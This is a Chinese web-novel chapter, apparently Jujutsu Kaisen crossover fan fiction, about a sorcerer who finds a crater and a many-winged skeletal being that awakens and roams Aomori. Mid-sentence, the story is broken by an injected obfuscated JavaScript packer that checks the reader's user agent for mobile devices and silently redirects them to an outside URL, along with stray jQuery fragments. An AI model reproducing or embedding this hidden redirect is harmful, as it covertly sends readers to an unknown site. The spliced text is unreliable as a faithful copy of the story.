夜幕降临,镰刀似的弯月缓缓爬上远方的天空。在会社忙碌了一整天的职员陆陆续续地回到家中开始享受自己的空闲时光,但对于在社会不为人知一面工作的人而言就没那么幸运了。
川端和生是一个三级咒术师,平日里只能处理一些不入流的咒灵。今天他刚刚袚除了一只盘踞在无人荒林的三级咒灵,在辅助监督表示接下来没有任务的时候,他难得露出一丝笑容,并瞬间在脑海中规划好了去哪间居酒屋度过一个愉快的夜晚。
但是就在车子即将驶出盘山公路的时候,一股庞大可怖的气息突兀降临,就像是在平静湖面上投掷下一块巨石。
力量的余波如滔天巨浪般朝川端和生的位置扑来,他顿时感觉胸口被巨石砸中般窒息,一口腥甜哽在喉头。
刺耳的刹车声蓦地在耳边炸响,他大脑轰鸣一片空白,零星的清明也被下一秒车子失控的剧烈晃动中彻底报废。
川端死死扳住车顶扶手,颤抖地朝驾驶座看去,辅助监督已然晕死过去。未等他做出什么反应,失控的车身一个摆尾猛然撞上了一侧的山壁,在滑出盘山公路后打了好几个圈这才停下来。
四野寂静无声,只余山崖旁一辆车身已经扭曲的小轿车在那,因车身变形严重而扭曲的引擎盖中冒出阵阵黑烟,时不时响起带着火星的“哔啵”声。
不知过了多久,半报废的车门被人一脚从里面踢开,川端和生顶着满头满脸的血从后座连滚带爬地下来。他捂着脑袋浑浑噩噩地确认辅助监督还有气死不了,这才龇牙咧嘴地瘫倒在地,并狠狠地骂了一声。
瘫了好一会儿,川端和生那被余波冲的七零八落地脑子才勉强回过神。
下一秒,似乎是意识到什么,寒意瞬间从脚底直冲天灵盖,冷汗爬上脊背。
他猛地意识到那股力量意味着什么。
那绝对是不亚于一级咒灵的存在!甚至是特级!
川端和生没有办法分出多余的心神思考为什么这么超规格的咒灵会突兀地现身在这荒郊野岭,当务之急是要上报高层,让他们赶紧派人来解决!
川端摸了摸口袋,手机却不翼而飞。
大概是刚刚车身失控被甩出来了吧,川端和生心里叹了一声流年不利,勉强撑起身子又爬回车里。
等他联系上高层确定援手很快就到之后,他才将紧绷的精神放松下来,这一放松让他顿时感觉到了身上的剧痛。
好在咒术师普遍身体素质异于常人,虽然难受了点好歹不影响行动。
川端和生环顾了一下四周,确定这荒郊野岭方圆十里之内毫无人烟。但即使这样他也不能够只待在这里等不知道什么时候才会抵达的支援,一旦有不明就里的路人误入,后果不堪设想。
川端和生叹了一口气,终于下定决心,一步一步地朝着余波传来的中心走去。
至少……至少要确定那咒灵的位置,设下帐防止普通人误入。
顺着那股力量传来的方向,川端和生走了很久,久到他怀疑之前的那股震得他心神俱裂的力量是他的错觉。
终于,在他快要放弃的时候终于到了终点。
“这是……什么?”
看着眼前的这一幕,川端和生双眼瞪大,瞳孔紧缩,眼底浮现出惊骇的神色。
原本空无一物的旷野此时出现一个直径将近500米的巨坑,似乎是发生了猛烈的撞击让高温高压使得这片土地变得焦黑,呈现出烈火焚烧的痕迹。
而这不是让川端和生最震惊的地方,他将目光落在坑底中心的那一堆……骨架上?
川端和生倒吸一口冷气,使劲揉了揉眼睛确定自己的眼神没有出问题。他定睛看去,又发现那并不是寻常的人类骸骨,森白的骨头上零零星星的挂着焦黑中带着血丝的碎肉。
且不提那堆骨头数量庞大,堆叠起来高楼般耸立在巨坑中央,单看那形态倒像是鸟类的翼骨。
川端和生不敢靠太近,只能凭借着咒术师优越的视力勉强数了数,少说也有近百对翼骨。它们重重叠叠地拢在一起,完全看不见中间被拱卫着的事物的模样,远远看去就像是被堆放在一起的白骨塔。
天使?恶魔?
川端和生的脑海中浮现出对这些概念的印象,祂们拥有着类似鸟类翅膀的结构且羽翼的数量庞大,而且有关祂们的神话传说在普通人的社会中也流传得相当广泛。
那么由此而衍生出的负面情绪中诞生的咒灵也不是不可能达到这种超规格的程度。
但不管事实如何,有着这种气息的咒灵绝对不是他一个小小的三级咒术师能够对付的。趁着这咒灵似乎处于休眠状态悄无声息,川端和生立起食指与中指,口中轻念:
“由暗而生,暗中至暗,污浊残秽,尽数袚除。”
像是在倒扣的玻璃碗上倒下了污浊的颜料,灰暗的帐慢慢落下笼罩住白骨堆所在的巨坑中心。
这是最普通的帐,能够掩藏帐中的事物让普通人只能看到帐中帐外保持着一样的景象,但是一旦里面的咒灵苏醒,帐无法阻止咒灵的离开。
“但是以我的能力只能做到这样了。”川端和生低声说道,“剩下的就看上层会派哪位咒术师接手了。”
转身离开的川端和生没有注意到,在帐即将落地的前一刻,原本静止不动的骨堆颤动了一下。
*
塞涅斯最后的记忆停留在横亘天空中的那个巨大空洞,空洞中盛放着与蔚蓝的天空迥异的璀璨星河。而目光中狭小的窗口装不下浩瀚的星空,塞涅斯只能窥见一小片来自世界之外的气息。
周围的事物像是屏幕电路接触不良一般闪动了一下,随着那天边的空洞越来越大,眼前闪动的频率也越来越快。
直觉告诉他,自己一直等待的那个时机已然到来。
他能够安分地在白塔中待上数百年,不过是为了等待一个脱离这个虚假世界的契机。
没有丝毫犹豫,他调动起全身所有的魔力,甚至这么多年来第一次抛弃了人类的形态。
无数大大小小的羽翼在身后展开,拱卫着中心高大人形。他以“塞涅斯”的真身冲破白塔,朝着空洞疾驰而去。
羽翼划过天空,与空气的摩擦炸开尖锐的爆鸣,在白塔坍塌的轰鸣声中,塞涅斯以常人肉眼难以捕捉的速度飞掠出去。
他掠过塔外聚集起来的守卫,掠过王城中对着天空指指点点的人群,掠过高山深林中隐居的非人种族,在世间所有生灵震悚惊恐的眼神中直奔向天空中的空洞。
空洞中并不是静止瑰丽的星河,甚至中心与它平静的外表形成强烈的对比。
狂暴的时空乱流充斥着空洞的每个角落,时间与空间在这里失去了意义。即使是肉身力量闻名遐迩的“塞涅斯”在这里也相形见绌。
塞涅斯卷起身后所有羽翼将身体重重包裹,不知过了多久,或许是一天、一个月、一年,也可能是更久,直到一股难以抗拒的引力牵扯着他向下坠落。
塞涅斯最后的意识消失在巨大的轰鸣声中,随之便是汹涌而来的无边黑暗。
塞涅斯是被一股令他不太舒服的力量惊醒的,在视觉恢复的时候他就意识到自己并没有昏迷太久。
按照设想,他应该靠沉睡以百年为长度单位的时间来恢复身体甚至灵魂受到的创伤,但当污泥般涌动的“帷帐”在周边落下的时候他就知道这个计划大抵是破灭了。
好在设下“帷帐”的那个人并没有看着“帷帐”成型,在那道生人气息消失的时候“帷帐”还剩下一个小缺口,这对塞涅斯而言是个好机会。
由尺骨和桡骨堆就的巨大骨堆像荆棘球般层层叠叠地舒展开来,露出最中心包裹着的本体—那也是被焦烂血肉包裹着的类人骨架。
不难看出那是一副高大的成年男性的骨架,甚至比普通意义上的人类骨架还要大上两圈,而数量巨大的骨翼排列整齐地在他身后舒展开,与它的脊骨节节相连。
这副骨架与人类最大的差别就在于头骨,他的头骨有着类似犬类的头骨一般有着尖长的吻部,森白的利齿上下差互,利齿摩擦时发出的令人牙酸的嘎吱声清晰地昭示着其间暗含着的巨大咬合力。
无人看见在月夜下灰暗的“帐”中这怪异诡谲的一幕。
在“帐”彻底成型的最后一秒,这堆夹杂着烧焦血肉的骨架的身影如烟雾般消失在了原地。
青森是位于日本本州最北端的静谧之地,这里群山绵延,森林如海,人类生活的都市在如此广
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233695|197636||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
袤的林海中也显得不起眼。
残缺的月牙高悬于夜空,随着时间的推移开始向西方落去。
夜逐渐深了,人类的喧嚣也渐渐平息下来,唯有街头巷尾几个浑浑噩噩的醉鬼时不时发出几声含糊的呢喃。
怪异的声响从无人的街尾传来,就像是骨头摩擦碰撞的声响由远及近。躺在巷口的醉鬼似乎是察觉到了阴冷的气息,皱起眉头咂巴着嘴却依旧没有醒来。
或许此时意识迷离还是好事,这样他就不必直面在街道上演绎的恐怖一幕。
披着破烂黑袍的高大身影从街尾缓慢向前挪动着,伴随着一股皮肉火燎后的血腥与焦臭气味。
路过巷口时似乎是察觉到了什么,那身影顿住脚步微微抬首,宽大的黑色斗篷下露出一张可怖的面孔,一张类犬颅骨的面孔。
白骨森然,空洞幽深的眼眶处冒出摇曳的微亮一点冒充着目光,越过了巷口的醉鬼落在巷子深处。
浓重的黑暗中似乎涌动着什么不为人知的事物,迫于某种威压才勉强蛰伏。
双方就这么静止对峙着,终于对方零星的耐心在时间的流逝中耗尽,缓缓地从巷子深处爬了出来。
那是一只散发着潮湿腥臭气息的皮肤青绿,浑身长满脓包的怪物,口中还含糊地念着“没钱”“贷款”,贪婪的目光落在巷口的醉鬼身上,而当视线触及立在一旁的身影时又带上深深的戒备。
很丑陋,也很弱小,甚至连角色标识都没有。
这是塞涅斯目光扫过怪物头顶空荡荡的空气,冒出了心中唯一的想法。
在他原本生活的世界中,每个生灵的头顶都有着类似标签一样的东西,这些标签将生灵的一切信息呈现在他眼前,就连一草一木也不例外。
他能够通过心眼操控这些标签将完整的信息呈现出来,从而得到自己想要知道的一切,就连他自己也有一个半透明的面板将自己的一切记录下来。
但是除了他以外似乎没有人能够看见这些东西,凭借着这项能力,他总被人们认为无所不知。
但也正是因为拥有这“无所不知”的能力,他才得知了那个世界的真相。
那么从当下的情况来看,他失去了这项能力,恰恰意味着他真的成功地脱离了那个世界,获得了——
自由。
自由,多么美好的词汇。
他设想过无数次的,脱离命运之神编织的命运,如今终于得偿所愿了吗?
一丝一丝的喜悦犹如在水中升起的肥皂泡,但在破裂后又逸散在空气中消失得无影无踪。
那怪物似乎没有多少理智,在原地焦躁地徘徊了一阵子终于按捺不住嘶吼一声,朝着塞涅斯扑了过来。
塞涅斯的神色没有丝毫变动,就在怪物即将近身的瞬间,他才抬起一只手,露出黑袍掩盖的森白手骨。
指骨在空气中轻轻一点,泛着红光的法阵在尖锐的指尖浮现,只圆盘大小的法阵却令小山般的怪物在撞上来的瞬间崩解成星星点点。
巷口的醉汉还在梦中呻吟,殊不知自己的命运在顷刻间发生了扭转。
怪物身形崩碎的一瞬间,庞大的恶臭气息扑了塞涅斯一身,这股恶臭仿佛能够直袭灵魂,带着浓烈纯粹的负面情绪打了塞涅斯一个措手不及。
塞涅斯下意识后退了一步,空洞眼眶中的光亮像窒息一样闪烁了一下,随后他像是极度嫌弃般甩去指尖沾染上的一丝气息。
然而下一秒他意识到怪物并没有被杀死,他能察觉到在怪物撞上来的那一瞬间,自身魔力的冲击导致凝聚成怪物身形的那股力量变得混乱不堪,致使怪物的身形溃散,但却并没有实际意义上地消除那股力量。
从本质上来说,他的魔力只是打乱了构成怪物身躯的力量的运行,使得其重归力量的原本形态。
假以时日,这股力量再次凝聚,怪物就会重新出现。
但是这暂时还不是一件值得他上心的事,怪物身上散发出来的气息令塞涅斯退避三舍,他没有必要也不会再去接触这种脏东西。
怪物的消失没有在塞涅斯心里留下痕迹,他顺着街道的延伸方向缓缓走去。
朦胧的白雾在深夜泛起,渐渐隐去那道幽灵般鬼魅的黑色身影。